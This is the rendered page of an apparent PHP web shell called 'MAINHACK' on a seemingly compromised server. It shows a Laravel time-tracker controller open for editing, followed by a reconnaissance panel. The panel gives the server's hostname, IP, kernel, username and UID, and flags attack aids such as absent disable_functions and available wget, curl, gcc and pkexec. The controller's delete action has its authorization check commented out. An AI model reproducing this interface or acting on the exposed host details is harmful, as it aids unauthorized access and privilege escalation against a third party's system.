[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TimeTrackerController.php
<?php namespace App\Http\Controllers; use App\Models\TimeTracker; use App\Models\TrackPhoto; use App\Models\Utility; use Illuminate\Http\Request; class TimeTrackerController extends Controller { public function index($slug) { $currentWorkspace = Utility::getWorkspaceBySlug($slug); $treckers = TimeTracker::where('workspace_id', $currentWorkspace->id)->get(); // dd($treckers); return view('time_trackers.index', compact('currentWorkspace', 'treckers')); } public function create() { } public function store(Request $request) { } public function show(TimeTracker $timeTracker) { } public function edit(TimeTracker $timeTracker) { } public function update(Request $request, TimeTracker $timeTracker) { } public function destroy($timetracker_id) { // if(Auth::user()->can('delete timesheet')) // { $timetrecker = TimeTracker::find($timetracker_id); $timetrecker->delete(); return redirect()->back()->with('success', __('TimeTracker successfully deleted.')); // } // else // { // return redirect()->back()->with('error', __('Permission denied.')); // } } public function getTrackerImages(Request $request, $slug) { $currentWorkspace = Utility::getWorkspaceBySlug($slug); $tracker = TimeTracker::find($request->id); $images = TrackPhoto::where('track_id', $request->id)->get(); return view('time_trackers.images', compact('images', 'tracker', 'currentWorkspace')); } public function removeTrackerImages(Request $request) { $images = TrackPhoto::find($request->id); $logo = Utility::get_file('/'); if ($images) { $url = $images->img_path; if ($images->delete()) { // \Storage::delete($url); \File::delete($logo . $url); return Utility::success_res(__('Tracker Photo remove successfully.')); } else { return Utility::error_res(__('opps something wren wrong.')); } } else { return Utility::error_res(__('opps something wren wrong.')); } } public function removeTracker(Request $request) { $track = TimeTracker::find($request->input('id')); if ($track) { $track->delete(); return Utility::success_res(__('Track remove successfully.')); } else { return Utility::error_res(__('Track not found.')); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002